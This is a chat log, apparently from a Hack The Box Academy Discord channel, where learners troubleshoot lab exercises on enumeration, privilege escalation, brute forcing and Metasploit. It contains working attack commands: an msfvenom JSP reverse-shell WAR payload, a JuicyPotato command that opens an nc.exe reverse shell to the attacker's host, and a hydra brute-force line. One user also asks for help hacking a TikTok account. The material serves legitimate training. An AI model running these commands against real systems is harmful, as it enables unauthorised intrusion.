modules

[open summit]

should i ftp//21 or ftp//<ip>:<port>

[fathom pendant]

You need to attack it from the inside

[cloud urchin]

#modules message AD Trust attacks module, I still have not found a good solution to this. I tried tmux but the format was kinda bad. Anyone know of a way to allow the terminal to scroll after connecting to a windows host via proxychains ssh?

[open summit]

i am

[fathom pendant]

Also default port for ftp is 21

[fathom pendant]

You can specify 127.0.0.1

Instead of thr public ip

Since publicly 21 isn't open

[open summit]

how does that work and where do you get 127.... from

[fathom pendant]

Loopback

Basic networking

Loopback is like calling a different hotel room from your own

The room in this case would be the port

[open summit]

how do i read the flag.txt file as an ftp>

[green basalt]

I have to found FQDN of the host but there is no bind file what i should do ?

[open summit]

how do i exit ftp acc

got it

[fathom pendant]

I mean test for pw reuse

Once you find a pw

Or in ftp if you see a file you want to read you can generally read with more

[cloud urchin]

I would recommend going over the prerequisite modules to help you better understand the services. Intro to Networking, Linux Fundamentals, and Web Requests are prereqs for the Login Brute Force module.

[fathom pendant]

Honestly basic networking goes far here

[zealous rune]

Hmm

Can I use metasploit to generate a war file with a reverse shell payload

[fathom pendant]

msfvenom, yes

The command cheat sheet includes one, and I believe you also did something similar in one of the sections

[zealous rune]

Ok. I think the default payload doesn't work not sure why

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war

Seems the ticket

[fathom pendant]

<@&861185840277487616> uhh

[coarse schooner]

For the "Exploiting Web Vulnerabilities in Thick-Client Applications", do you just remove all hash values from the MANIFEST.mf or everything below the header and leave a space? I've followed the instructions for that first part, but the jar hangs after submitting creds no matter how i configure the manifest. Any help appreciated

[open summit]

wd waea WAD wa aawawaw][

[coarse schooner]

Looks like I can communicate with the server:

[wide river]

module: Intro to C2 Operations with Sliver
Section: Probing the Surface
Question: Assess further the web application and submit the name of the database user
Description: I put in every user found in ||C:\Users|| but non of them correct. Can anyone tell me how you guy found the user ?

[warm shore]

Connection to the target machine in the lab is very funky rn. I've tried 5 different VPN servers + 5 different target machine + 5 different pwnboxes (and personal VPN connection as well) but still get connection problems.

For example, if you ping the machine for a long time, you'll get 1500~2500ms spikes around every 20~30 ICMP requests. Sometimes, the spike is larger or the box becomes unresponsive. That's why your sliver connections are dropping, and that's why your cme connection sometimes fails, and sometimes succeeds.

Even with the timeouts, you'll occassionally see that your sliver beacons won't spawn SYSTEM beacons with getsystem, or just randomly dies when you run the COFF loader commands listed in the labs.

Since I don't think it's intended, just decided to stop with the module.

[fathom pendant]

The db user may not be a standard user then

¯_(ツ)_/¯

At least that's my first thought if all users in C:\Users\ doesn't work

Could be a svc user

Like sql_svc or some such

[wide river]

thats what i thought at first, but nah XD

[fathom pendant]

Huh

Forgot winblows drops service accounts on disk

[wide river]

since this is Tier III hard level, i think they will expect me to perform certain skill that not included in the section

since the question talk about database.... i might wanna do something with mysql or sqlmap

[coarse schooner]

after removing the hash values from the MANIFEST.mf file and re-archiving my jar. I launch the jar, and attempt to login to the server, but the application hangs. I see the client is connected to the service, but doesn't get a prompt

I suspect the extraction process might be clobbering the manifest.mf file, I see class files are split between two lines like below:

[arctic hornet]

sorry to bother guys, just need some help with something. Does anyone know someone who can dox or hack a TikTok account? Not for malicious purposes, a friend of mine is being harassed

[rustic sage]

in the nibbles "prievilige escalation" in getting started section in CPTS, i used "sudo monitor.sh" , it asked for password but when i added full path to sudo i.e "sudo /home/nibbler/personal/stuff/monitor.sh" it didn't asked for password!
so is there a difference between using sudo with relative path and aboslute path?

[fathom pendant]

perhaps; if you look at the overview it should tell you what modules it expects you to have done/know about

[fathom pendant]

it's just that relative and absolute

when a user has sudo permissions over a binary path they have it specifically over the full absolute path

not the relative path

[rustic sage]

I see thanks 🫡

[fathom pendant]

it's mostly because monitor.sh could be any program anywhere

even if you're in the right directory

but /home/nibbler/personal/stuff/monitor.sh is specifically that location

[rustic sage]

I didn't knew that, sudo will look for files like that

[fathom pendant]

yep

sudo checks explicitly about path

if you have (ALL):(ALL) then you are effectively root/admin user

[rustic sage]

Thanks for explaining

[fathom pendant]

i believe something similar comes up in the knowledge check so keep an eye out 😉

[rustic sage]

Hhhh, 🫡

[coarse schooner]

this is easily the most frustrating lab of all time

[coarse schooner]

this manifest has to be preventing the jar from loading properly

[fathom pendant]

lfg configured git repo for my notes

#cpts message @pastel oak check for zone transfers to subdomains

you'd still dig @target_ip just instead of inlanefreight.htb you'd do subdomain.inlanefreight.htb

[fallen tusk]

Does anyone know why I'm getting this error when attempting to use the -TrustedToAuth parameter with Get-NetUser?

PS C:\Users\bob\Downloads> Get-NetUser -TrustedToAuth
Get-NetUser : A parameter cannot be found that matches parameter name 'TrustedToAuth'.
At line:1 char:13
+ Get-NetUser -TrustedToAuth
+             ~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidArgument: (:) [Get-NetUser], ParameterBindingException
    + FullyQualifiedErrorId : NamedParameterNotFound,Get-NetUser

Did you work this out? I'm having the same issue

[wide river]

quick question, is there any sliver command that speed up the beacon task ?

[wide river]

what module and section is this

[fallen tusk]

Windows Attacks & Defense
Kerberos Constrained Delegation

[wide river]

what have you already done?

btw have you import powerview yet?

[fallen tusk]

Imported PowerView.ps1, and then used the command. It doesn't work with the -TrustedToAuth parameter, but Get-NetUser works by itself

[wide river]

is the machine also slow on your end?

btw

[wide river]

run powershell as admin, use powershell -ep bypass, import powerview ,then run the command

[fallen tusk]

No luck, here's my screenshot

[wide river]

turn on powershell as Administrator

[fallen tusk]

ok trying now

[fallen tusk]

Yeah, still same error

[wide river]

DM me, bud

[pine dune]

Hi guys

I tried using dig and nc to find the fqdn that imap and pop3 are assigned to, but no results...anyone got any ideas?

[snow ridge]

I think ill do this too and wait tillt the connection will get better.

[pine dune]

Im on the footprinting module

[shut quest]

Yes, read the module, the answer is there.

[storm elk]

Indeed, gubarz is right

[pine dune]

okay thanks...i already did read the module but it seems a bit tricky

[shut quest]

It's super not tricky and the answer is spelled out. I don't even think dig or netcat is mentioned on the page.

[pine dune]

ok ill have another look

[storm elk]

It’s not I literally done this module 30 min ago

[shut quest]

I'm on phone, so I wasn't going to try to search the page, but my notes and a quick glance said no.

[pine dune]

im sorry could u give me a tip?

[storm elk]

The command to run is on the page. Look at the footprinting bit. You won’t find the naming FQDN in the results. You gotta read the result

[pine dune]

ah that makes more sense

thanks for that

[storm elk]

Good luck 🤞

[pine dune]

thanks man just solved it

[storm elk]

Great job 👏

[pine dune]

im not sure if my method was correct tho Ill explain

I used this command ```openssl s_client -connect 10.129.197.72:pop3s

and got this in the result

but the answer is after the @

and its a bit hard to know and identify the fqdn

[storm elk]

Read a bit before that mail address. There’s the CN

[pine dune]

is it possible that we can identify the fqdn from an email address?

ahh so CN is also fqdn?

[storm elk]

That’s the Common Name aka FQDN

[pine dune]

ahh thanks

[shut quest]

You could have also used the first more common footprinting tool... 😉

[pine dune]

u mean nmap?

yo guys I m on question 3 and need to enumerate through the imap server to retrieve the flag..I have logged in and also I have found that there is a mailbox called "flags"

when I try to list the mailbox content using 1 FETCH 1/FLAGS all it returns an error...anyone have any ideas?

[shut quest]

See previous comment

[pine dune]

u mean this?

[storm elk]

Probably this

[pine dune]

ahh ok 😂

yea just that ive tried following what it says but for some reason giving me error

* 1 FETCH (FLAGS (\Seen) INTERNALDATE "08-Nov-2021 23:51:24 +0000" RFC822.SIZE 167 ENVELOPE ("Wed, 03 Nov 2021 16:13:27 +0200" "Flag" (("CTO" NIL "devadmin" "inlanefreight.htb")) (("CTO" NIL "devadmin" "inlanefreight.htb")) (("CTO" NIL "devadmin" "inlanefreight.htb")) (("Robin" NIL "robin" "inlanefreight.htb")) NIL NIL NIL NIL))

I managed to find this using the fetch all method

it says flag but the module wants it in a specific format

[eager ledge]

fetch all doesn't give the complete email body sometimes. You need to research a bit more on what can be done with FETCH command.

[pine dune]

okay thanks

[pine dune]

ive tried asking gpt for some clues but its not helping 😦

https://www.atmail.com/blog/imap-commands/

also tried this site

as u can see there is "flag"... is there a way I can cat it or something

[dim wolf]

https://donsutherland.org/crib/imap

[pine dune]

thanks...still trying

[wide river]

Which section you working on

[pine dune]

footprinting

[wide river]

Imap?

Which protocol?

[eager ledge]

Have you tried the FETCH command examples that are shown in here?

[abstract jacinth]

Hello, I have a problem about privilege escalation from ilfserveradmin to administrator on Lateral Movement section of Attacking Enterprise Networks lab, I followed each step on exploit-db, but it doesn't work.

did you solve it ?

[pine dune]

yea and thank you I managed to solve it thanks to @rustic sage

[pine dune]

it was actually when u connect...the inboxed dont have the flag @rustic sage saved me a lot of time cos what I was doing was futile

[tender lake]

Yeah I did eventually. I think it worked exactly as the poc said it should, it was just finicky on the target. Like i tried 7 times with no luck and on the 8th it worked.

[abstract jacinth]

so funny, I hope in the exam, we don't have such case))

[tender lake]

You probably will, thats just how software is sometimes.

[sterile epoch]

Hi I am in windows escalation module and I need to use juicy potato what am I doing wrong here any pointers I missed?

The command I tried to use with clsid
.\jp.exe -l 53375 -c {653C5148-4DCE-4905-9CFD-1B23662D3D9E} -p c:\windows\system32\cmd.exe -a "/c c:\Users\Public\lol\nc.exe 10.10.14.28 8443 -e cmd.exe" -t *

[stable bone]

im having a hard time understanding what ports are. can someone explain like im 4

theres like TCP and UDP and Bluetooth and server stuff but aren't ports the cords that connect to your pc?

[sterile epoch]

yea those are physical ports

the ones called TCP and UDP are logical ports they are built in the software of a system

there are a lot of services running in a system, if all of them are listening on the network how will your system understand which traffic is for which service. Now think of your ip address as an apartment complex and the ports are the apartment numbers within the complex. If a mail arrives with you apartment number the mail will come to your doorstep right

its the same with ports

[stable bone]

bro got big brain

https://tenor.com/view/you-are-the-best-talking-smile-gif-14123320149159124796

[astral beacon]

Somehow,I can't connect to academy vpn yesterday until now

Both TCP and UDP and alternative server

[dry halo]

once try changing to a different internet connection and connect again

[astral beacon]

ok

[granite dove]

Don't overlook daddy dns

[astral beacon]

I don't had any dns now

[fiery berry]

I haven't used "juicy potato" and I can't spot what's wrong with the command, however what I can tell you is that you can use something else to escalate your privileges

[sterile epoch]

My command needed some double quotes and then it worked like a charm
btw I will like to know about the other super secret technique

to escalate

[fiery berry]

other super secret technique is on Google, notice the user token privileges and have a look

[sterile epoch]

ok thanks I will look into that

[sterile epoch]

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens
this one??

[fiery berry]

You can use HT if you want to, and yes it's there

[stable bone]

oh you have to submit the external domain admin

make sure its in the section Domain Reconnaissance

[zenith canopy]

I learned that these are subkeys of HKLM from windows fundamentals but they are referred to as hives here, what are they?

[muted kindle]

They are hives
Like SAM hive

[eager ledge]

Hi, I am doing DNS Tunneling with Dnscat2 section of "PIVOTING, TUNNELING, AND PORT FORWARDING". I have read the contents and I also managed to do the exercise. But I am not sure I understand what's happening. The DNS client has to be a DNS authoritative server? Can someone refer me something that will help me understand it?

I am also getting the error on powershell:

[primal moat]

HTB lab is so slow. I used THM, then was disappointed about HTB

[vale island]

Agree, but content wise it is totally worth it

Sometimes it get to the point of not being usable actually, i hope they change that soon

[fiery berry]

You can read the overview directly from the dev himself:
https://github.com/iagox86/dnscat2

[honest gyro]

sup everyone i m kinda stuck in INJECTION ATTACKS-->Skills Assessment i have found the pdf generation vulnerability and i have found the xpath injection but i couldnt really use at im not able to get anything useful from it

Any suggestions?

[spark spruce]

Dm

[autumn pilot]

Do you still need help with that?

Try using one of the examples in the section it will produce a slightly different output

Don't overcomplicate it

[digital ridge]

Hello

Are you guys using pwnbox or your own vm?

[autumn pilot]

No idea

I am one of the authors, yes

You can try combining the techniques taught in the intro to evasion module and you can combine it with whatever you can think of as long as it works in the end

That being said, you will have to focus on the stagers, rather than modifying the whole codebase related to implant generation

as it can become overwhelming

[honest gyro]

thanks check ur dms

[coarse schooner]

This is exactly my experience! Can the admins confirm the lab isn't broken. I was able to assemble the jar, login without issue over the weekend follow the process in the lab manual. But now I'm just spinning my wheels.

[regal viper]

is it better to use UDP or TCP for my openvpn connection?

[silk dagger]

can anyone help me with the simple module 20 section 16 (Create the XOR ciphertext of the password 'opens3same' using the key 'academy'.)

I'm pretty sure that my solution is correct, but it won't accept the flag.

[vagrant osprey]

I'm on Getting Started -- Web Enumeration, and am trying to use the commands given in the notes to find the flag. However, when I use "sudo apt install seclists -y", I get this (attached image) as the output. Could someone please explain what the error message means, and how to resolve it?

[fiery berry]

The message output says everything. Probably it's not in the repo, are you using your own VM or the pwnbox?
You can also download it from the github repo:
https://github.com/danielmiessler/SecLists

[sweet girder]

Hello. I keep having problem when I tried to install some tools on Parrot OS. I managed to install python2.7 thanks to some advice yesterday (I did it with docker). I also managed to install spiderfoot. But now I have 2 new errors. I did some research for crackmapexec, I even tried to see if it was possible to install it and its dependencies with docker or venv, but nothing worked. Did I do something wrong or have you some advice to share please ?

[vagrant osprey]

I'm using the pwnbox provided by htb, I'll try downloading from the repo 🤍

[sweet girder]

Btw thanks to the guys who've helped me yesterday. (sorry I don't remember the username), it was very helpful !

[next bronze]

install this instead
https://www.netexec.wiki/getting-started/installation/installation-on-unix

it's the same as cme but updated

[sweet girder]

Okay thanks! I started think crackmapexec was deprecated too

[echo zephyr]

Friends, who works on mac OS here? can you write to the pm please? I have a problem with raising the python server in vpn

[coarse schooner]

I reset the box, reassembled the jar and I was able to connect. That vm pool doesn't load consistently

[vagrant osprey]

Thank you! It worked, and I was able to find the flag. Very appreciative 🤍

[echo zephyr]

I have exactly the same error as here https://forum.hackthebox.com/t/vpn-connection-problem/3467
But it didn't help me.

[lavish mango]

TCP

[vagrant osprey]

hii! i'm working on Getting Started --> Public Exploits. I understand the steps, and I got the flag, but I have a question about finding vulnerable applications. How would I know that openssh 7.2 was vulnerable? what cmd could i use to find all services on the ip address? i tried nmap -sC -sV, but it didn't show openssh 7.2, even though it was running on the server and was exploitable to achieve the flag

[fathom pendant]

Nmap won't always show everything and openssh7.2 isn't the vulnerable thing on that section

[vagrant osprey]

it's not?? i could've sworn it was

[fathom pendant]

There's a running web server yes?

[vagrant osprey]

"got flag" == thought i had the path to get it 😭

[vagrant osprey]

i think so

[fathom pendant]

Why not visit it in a browser

:)

Note: this module is the basics

They wouldn't have you do anything complex or that requires any extra setup beyond just looking

Idk where you got the openssh path from lol

[open summit]

how would i know what wordlists to use and plists

this didnt work

[fathom pendant]

@quartz cradle are you ssh to the target?

@open summit you gotta get better at providing context man

[vagrant osprey]

mhm, that got me to a wordpress webpage

[open summit]

Skills assesment - website section

[fathom pendant]

Read the page

[fresh plinth]

If we're to reframe this question more generally as "How would I know that X software was vulnerable", the answer is to either search it up on google or research the software yourself (and perhaps find a zero-day)

If your question is more along the lines of "How would I be inspired to look it up in the first place", well that I think just takes practice. That's what enumeration's all about

[fathom pendant]

What is the login form? Is it a /GET form?

Use the appropriate login type

[vagrant osprey]

it was in the notes, and i got the same output as the example when i ran searchsploit openssh 7.2

[fathom pendant]

What notes?

My notes say nothing about openssh7.2 for this

[fresh plinth]

searchsploit is just a CLI for exploit-db.com. It doesn't automatically spit out exploits for your target

[vagrant osprey]

maybe i'm overcomplicating it, then.. 😭

[fathom pendant]

Read the webpage

[vagrant osprey]

the info that comes before the pwnbox

[fathom pendant]

As this has to do simply with a vulnerable plugin

[fathom pendant]

That's just an example

It just so happened to work, but that's not always going to be the case

[vagrant osprey]

Simple Backup Plugin 2.7.10 for WordPress?

[fathom pendant]

Yep

Just search for the first 2 words

[vagrant osprey]

note to self: clean my glasses 😭

[vagrant osprey]

alr 🤍

[fathom pendant]

And it's likely far simpler than trying to do the ssh one

[open summit]

this is the form

[fathom pendant]

It's an http get

So what does your notes say about attacking http forms

[open summit]

notes?

[fathom pendant]

Brother

You should be taking notes

This is why you tend to ask lots of questions

There's a whole section on the http forms

Get and put

And how to attack them

[open summit]

http[s]-{head|get|post}

[fathom pendant]

Which do you think is most relevant here

[open summit]

https[s]-{get}

[fathom pendant]

Without brackets and is this an https site

[open summit]

no it is not sir

so http-{get}?

[fathom pendant]

Brackets aren't needed

[open summit]

so http-get

[fathom pendant]

If you read the sections (and they even had relevant exercises) they explain the format

[fresh plinth]

For future reference, CLI help text has a convention with that notation

• [x] = it is optional to type x
• {a|b|c} = choose one of a,b,c

So http[s]-{head|get|post} is a condensed way of saying you can choose one of the below:

• http-head
• http-get
• http-post
• https-head
• https-get
• https-post

[quartz cradle]

Yes I just can’t seem to get down the right path…

[hexed lintel]

running impacket-psexec gives share not writeable

evilwinrm give us powershell access

[fathom pendant]

There's an example command that might be helpful

[hexed lintel]

is this what the question is trying show?

[open summit]

hydra -L /opt/useful/SecLists/Usernames/Names/names.txt -P /opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -u -f 94.237.54.233 -s 46655 http-get /

this should work tho and t doesnt -

[fathom pendant]

Try a different list maybe

[open summit]

for both usernames and pass?

[vagrant osprey]

Getting Started --> Public Exploits

I ran the exploit successfully, but didn't end up at meterpreter like the example shows. What am I supposed to do after executing the exploit against Simple Backup?

[fathom pendant]

Oh I know your problem

[open summit]

run a session maybe?

[fathom pendant]

Because that exploit isn't rce

[open summit]

Im listening boss

[fathom pendant]

Read the description and look at the options

[fathom pendant]

Read the first few lines of the default list

The default list is a username:password list

So it's meant to be used with a different hydra option, as explained by the module

[hexed lintel]

@fathom pendant can you help on this

[fathom pendant]

if you read the question it tells you what it wants ¯_(ツ)_/¯

There's a reason it says to use other options

[vagrant osprey]

Wdym

[vagrant osprey]

What’s rce?

[open summit]

so like what od ido

[fathom pendant]

Remote Code Execution

[fathom pendant]

Fuckin read

If you wanna know hydra commands how would you check them

[fathom pendant]

Brother it's a remote/arbitrary file download

It's not a shell

Not all exploits are shells

[open summit]

hydra -C

[fathom pendant]

Bingo

Now go do that

[open summit]

what file should i use tho

[fathom pendant]

The one you were trying to use as your password 🤦

At some point you gotta apply critical thinking

[vagrant osprey]

I like your funny words, magic man

[wanton idol]

bros on his last straw 😭😂

[vagrant osprey]

I’m really new to this, so I need to go slower/simpler than you’re used to 🤍 i appreciate your help and patience

[fresh plinth]

we all start somewhere

[wanton idol]

yuppp

[fathom pendant]

Just one step at a time

Never make assumptions

And if you do, be prepared for them to be wrong

[vagrant osprey]

the sad part, is I passed my security+, and yet i struggle so much w/ htb 😭

[fathom pendant]

Sec + ain't shit dog

[vagrant osprey]

it gave me an ego boost that htb absolutely tore to shreds 💀

[wanton idol]

sec+ doesnt really go hand to hand with htb lol

[fathom pendant]

It's a multiple choice exam about memorization of basic stuff

[fresh plinth]

I can't comment because I have no sec-related certs 💀

[vagrant osprey]

it really is

[vagrant osprey]

nah you’re good, i’m not trying to pull rank 😭

[fathom pendant]

CompTIA certs are fancy toilet paper certs

[vagrant osprey]

humbling 💀

[fathom pendant]

Mostly for gov stuff

[vagrant osprey]

but true, i didn’t really learn anything practical

[fresh plinth]

if this were covid era it may still be cheaper than actual toilet paper tbh

[fathom pendant]

But ultimately crumbles against practical certs

[rustic sage]

got a quick question on the last question on the DNS module on footprinting, in the end i managed to bruteforce it using dnsenum but im wondering how i would have spotted this manually just using dig queries? the only difference i've noticed was without spoiling it the subdomain that was "bruteforceable" contained a SOA & NS record on a normal dig query whilst others only contained A records - however it didn't let me do a zone transfer. maybe im not understanding correctly hmm

[fathom pendant]

The point is to use the tool

But you may be onto something

Either way it's beyond the scope of the module

It's a lot of editing your hosts file afaik

[rustic sage]

yeah gotcha, so going forward for DNS footprinting best practice is to just dnsenum absolutely all subdomains i find through my initial dig query then?

[fathom pendant]

Yep

I did a for loop for it as a "well idk but it's one of them" kinda things

[rustic sage]

mmm yeah i guess so, might spin up a bind9 server and mess around with it a bit more

[lucid halo]

Hey, so I am working on Linux Fundamentals. I'm currently trying to complete the task in 'System Information' but I believe there is some type of glitch. I load up the box and ssh into the student account. Once I use the "uname -a" command I begin to parse it into my answer boxes but they are saying most of my answers are wrong. In order to do the step-by-step, I need an annual membership. I can't afford that. lol.

[rustic sage]

but anyway i just wanted to clarify what i should be doing for future DNS enumeration

so find out the NS and then dig what i can and just dnsenum then

[vagrant osprey]

so after running the exploit, what should I look for / do? since it’s not a shell

[rustic sage]

@lucid halo bear with just spinning up the VM

i haven't done this module just yet but i'll try submitting answers

[lucid halo]

Thanks! I'm waiting...

[fresh plinth]

generally you should read a bit on how the exploit works before you apply. If in msfconsole using info on the module will get you some insight

[vagrant osprey]

i didn’t know that was an option, thank you so much!

[shut quest]

The question is looking for just the version number, make sure you don't have any white space around your answer.

[fresh plinth]

you can also type help or ? to get a list of commands so you can help yourself 😉

there's a separate module that introduces you to metasploit and it's free (tier 0) so you can check that out later

[lucid halo]

There are multiple questions here, just realized that I can't send screenshots.

[shut quest]

Well which question

[rustic sage]

socks is it the first question?

[lucid halo]

So the questions are asking about Network information, they aren't hard I'm just confused. I'll try to just power through it.

[vagrant osprey]

I ran info -d and received an output saying to generate documentation for something, then opening a .html file path in a browser (which, when i went to, said Not Found). I’m honestly really unsure where to go from here, I don’t understand what it wants me to do after running the exploit to get to the flag. Could you please explain in simpler wording where to go from here?

[lucid halo]

No, the first one was the easiest lol.

[rustic sage]

give me an example of a question that isn't accepting your answer

[lucid halo]

Which shell is specified for the htb-student user?

[astral beacon]

Hey, since I may never get to this modules or anything related to them
Can someone explain or introduce me what is deserialization?

[rustic sage]

@lucid halo worked for me

use the full path of the shell

there's an environment variable you can print to display it, copy that

[lucid halo]

@rustic sage its Linux and it won't accept my anwser

[rustic sage]

it is not linux

[lucid halo]

Please explain

[rustic sage]

linux is the name of the OS

[next bronze]

the question asked what shell, not what OS

[lucid halo]

right but even if I put ubuntu it won't work

[rustic sage]

shells are whats used to interface with the OS and accept commands

[limber river]

maybe you neet to google what's shell

or re-read the section

[fresh plinth]

if you use info -d it should still tell you the filepath of the generated html that you can just open in your browser manually. But often info by itself should be enough.

It's also worth checking show options to make sure your module's configured right before you run

[rustic sage]

so for example when you run uname, you're not using linux directly you're using a shell that talks and can interpret to linux directly

[lucid halo]

Yes, I understand this part. But even if you look in the instructions before the assignment, they identify Linux as a shell.

I understand that Bash is a shell for instance or Debian

[rustic sage]

then there is your answer

[fresh plinth]

Debian is a Linux distro and not a shell per se

[vagrant osprey]

how do I un-set something? I accidently set my VHOST instead of my RHOST

[rustic sage]

shells are like bash, zsh ksh etc

[fresh plinth]

unset VHOST

[rustic sage]

as cydroz said debian is an OS

there's an environment variable that stores the shell thats being used for that current users session, you can print this by using echo $SHELL in the terminal

[shut quest]

A Linux terminal, also called a shell or command line

It does not say Linux is a shell, or that Ubuntu is a shell, but that the terminal is a shell, or command line

[lucid halo]

@rustic sage what answer did you give?

[vagrant osprey]

That fixed it! now i’ve arrived at a page that says WordPress Simple Backup File Read Vulnerability

[next bronze]

google how to find current shell in linux

[vagrant osprey]

it gives examples for changing the RHOST though, which doesn’t seem like it would help me get to the flag

[rustic sage]

if you look slightly before that text i gave away exactly what the answer is

[lucid halo]

Thanks

[fresh plinth]

RHOST = "remote host", aka your target, you need to set this to the machine IP.
Similar deal with RPORT
It's explained in the module briefly

[open summit]

nothing happens when i enter the credentials on the login form

[vagrant osprey]

of the target? so RPORT would be 51382 if my target is 94.237.52.13:51382

[fresh plinth]

yes that's right

[rustic sage]

all good!

[vagrant osprey]

it ran without giving me any errors, which is good, my problem is that i don’t know where to go from here

when i do ls i get 3 files, none of which are wordpress or flag

[fresh plinth]

you might have missed it but the question tells you where the flag is

[vagrant osprey]

OHHH

got it, i really need to pay attention to outputs. thank you immensely @fresh plinth

[sweet girder]

Hello again, I have a question. I'm on the Windows section of the Setting up module, and I was thinking. I don't want to bother installing a trial version of Windows on a VM since it is time limited, and I can't buy a product licence. Do you think I can use my host os, which is Windows 10 (I already seen that it's not recommended, but I prefer to ask just in case), or can I skip the Windows setup for now ? (I already managed to setup a vm of Parrot)

[fresh plinth]

no prob, take it as a lesson to read carefully and make sure you've evaluated all the info available to you

[fresh plinth]

Rather than grabbing the evaluation editions of windows you could just get an image of windows home/pro unlicensed to build a VM no?

And using bare metal is not recommended because you'd be connecting it direct to a hostile network basically

[open summit]

verify

[rustic sage]

also just to piggy back on this you can get an eval license and rearm it 5x times for 900 days eval

[vagrant osprey]

aaaa i’m literally right at the txt file, but neither cat nor type are allowing me to view the contents

[sweet girder]

Okay I will try to search for an unlicensed version. Thanks !

[shut quest]

Because you need to read #rules and #welcome

[fresh plinth]

i did not know this and that's funny to me somehow

[wintry hull]

Why am I unable to message in #general

[sweet girder]

Oooh I was thinking that a unlicensed version of Windows would limit us

[rustic sage]

haha yeah so you get 180 days to evaluate the license but if you open a powershell window and do slmgr – dlv it rearms it for another 180 days

[shut quest]

@wintry hull

[rustic sage]

you can do it 6 times maximum if i remember correctly

[vagrant osprey]

what cmd allows me to view the contexts of a txt file while in [msf]?

[shut quest]

Take a wild stab, else use the help command

[fresh plinth]

There are limitations but they're all irrelevant I think.

[sweet girder]

I didn't know this too, I will note that somewhere

[sweet girder]

Yeah I've seen it's more customization of the desktop etc. than anything else

[fresh plinth]

Even then there are workarounds to those 😉

[rustic sage]

you can use cat as normal

[sweet girder]

Oooh I will try to look into that !

[wintry hull]

Did but still can't

[sweet girder]

Btw sorry for all the questions. I'm pretty new in Cybersecurity

[vagrant osprey]

i tried that, and i get what looks like an /etc/password file

[fathom pendant]

Review the options

[fresh plinth]

me too, but we all start somewhere

[fathom pendant]

There's a clear reason why it's /etc/passwd

[vagrant osprey]

what options?

[fathom pendant]

For the exploit

[vagrant osprey]

straight-up show options?

[fathom pendant]

Just options

[fresh plinth]

Ideally I'll never have to apply this knowledge but I hope to remember this if that time comes lol

[fathom pendant]

That should show you what you're looking for

[vagrant osprey]

i see FILEPATH is set to /etc/password, is that why?

[fathom pendant]

If it looks like a duck

[fringe urchin]

[shut quest]

If you read it you'll know what to do, if you tried it and are having issues you should reach out to support.

[next bronze]

there are (semi legit) ways to activate it, use your google skills

[vagrant osprey]

so options explains why it’s an /etc/password file, but not what to do with the file to get to the flag

[fathom pendant]

How would you change a setting

[rustic sage]

working at an MSP you get to know lots of things like that

[vagrant osprey]

oh i’m stupid

[sweet girder]

I think I found those ways, but for now I will try with the unlicensed version. If I'm limited, I will try those ways

[rustic sage]

i am stealing that expression

[vagrant osprey]

i change /etc/password to /flag.txt?

[fathom pendant]

Try it first, ask questions later

[vagrant osprey]

yessir

[fathom pendant]

Thats an old expression

If it looks like a duck, and quacks like a duck, it's probably a duck

[vagrant osprey]

noooo it didn’t work

[fathom pendant]

Aka sometimes it's that obvious

[vagrant osprey]

still an etc password file

[fathom pendant]

How did you get the lhost setting changed

[fresh plinth]

great, something to look forward to in the future perhaps lol

[fathom pendant]

😉

[vagrant osprey]

the what now?

[fathom pendant]

You s.. the variable

[fathom pendant]

Lhost

Rhosts

My bad

Same concept though

[vagrant osprey]

i set it to my target host

[fathom pendant]

You what 😉

You s.. it

[vagrant osprey]

??

[fathom pendant]

So same syntax

[rustic sage]

marcie you're such a tease

[fathom pendant]

s.. is the command, missing two letters

[vagrant osprey]

set

[fathom pendant]

I encourage critical thinking

[vagrant osprey]

what variable

[fathom pendant]

If I just give the answer, nothing is learned

[vagrant osprey]

rhost is the target ip

[fathom pendant]

Variable = option

So what variable would equate to the information you have

[vagrant osprey]

RHOST should just be the word option?? that doesn’t work

[fathom pendant]

facepalm

[vagrant osprey]

/flag.txt ?

[fathom pendant]

Rhost is the option/variable for your target

But you need a file location

[open summit]

marcie im stuck on this question still like ive tried

[vagrant osprey]

not the sharpest nail, i’m sorry 😭

[fathom pendant]

Take it slow

[vagrant osprey]

/flag.txt, no?

[open summit]

idk what it is

[fathom pendant]

Yes, but what do you need to change to get there

[open summit]

used this format and it found passwords but then they dont work when i type them in the form

[vagrant osprey]

filepath

[fathom pendant]

So...

[vagrant osprey]

i set filepath to /flag.txt

[rustic sage]

this is torture

[fathom pendant]

Are you asking or telling

[rustic sage]

i can't bear to watch

[vagrant osprey]

i still end up with etc password

[rustic sage]

you got this aml

[fathom pendant]

Then you did it wrong

[vagrant osprey]

gotta do it for the bag

[fathom pendant]

Or you're missing the part where it's saved to a different file

And you're likely reading the same file expecting different results

[vagrant osprey]

i should change my display name 💀

[fresh plinth]

it's getting too late for me but i wanna see aml bag this flag lol

[fathom pendant]

That should work

[open summit]

oh wow

now it works i tried it before it didnt

[fathom pendant]

Likely mistyped

[fathom pendant]

The second one can be tricky if you don't set the parameters right

[vagrant osprey]

go to sleep, i don’t think this is getting figured out anytime soon 😭

[wide river]

which section you doing

[rustic sage]

aml just out of interest which exploit are you using

[fathom pendant]

Just pay attention

[vagrant osprey]

OH MY GOD

[fathom pendant]

To the output

[rustic sage]

omg

[fathom pendant]

It's that shrimple

[vagrant osprey]

I GOT IT

[rustic sage]

has it clicked

[fresh plinth]

kaching

[vagrant osprey]

FINALLY

[rustic sage]

lets go

[fathom pendant]

It only gets harder from here 😄

[fresh plinth]

lesson learned: tell someone to go to bed and you'll be enlightened

[vagrant osprey]

that was by far the most satisfying this ev— NOOOOO HUSH MARCIE

[open summit]

ima use this for the seconed one

[fathom pendant]

I mean as long as you actually read the material and take notes you're fine

[fathom pendant]

Why? You have a valid username already

[open summit]

do I?

[fathom pendant]

The one that got you past the first question

[open summit]

but then thats a different form tho

like why would the user be the same but passy different

[rustic sage]

@vagrant osprey which exploit/module was this?

[fathom pendant]

Security

¯_(ツ)_/¯

[open summit]

fair true cuz inorder to get

[vagrant osprey]

Getting Started —> Public Exploits

[open summit]

ye true should be the same user

[fathom pendant]

Also your user and pass input are incorrect

[open summit]

why

[fathom pendant]

Take a look at how the form expects them to be passed

Either through a tool like burp or through browser network tool to inspect the request

Always be aware of what the form looks like

[open summit]

ahh its user and pass

so non capitals

[fathom pendant]

Again re-read the section about http-post if you need more clarity

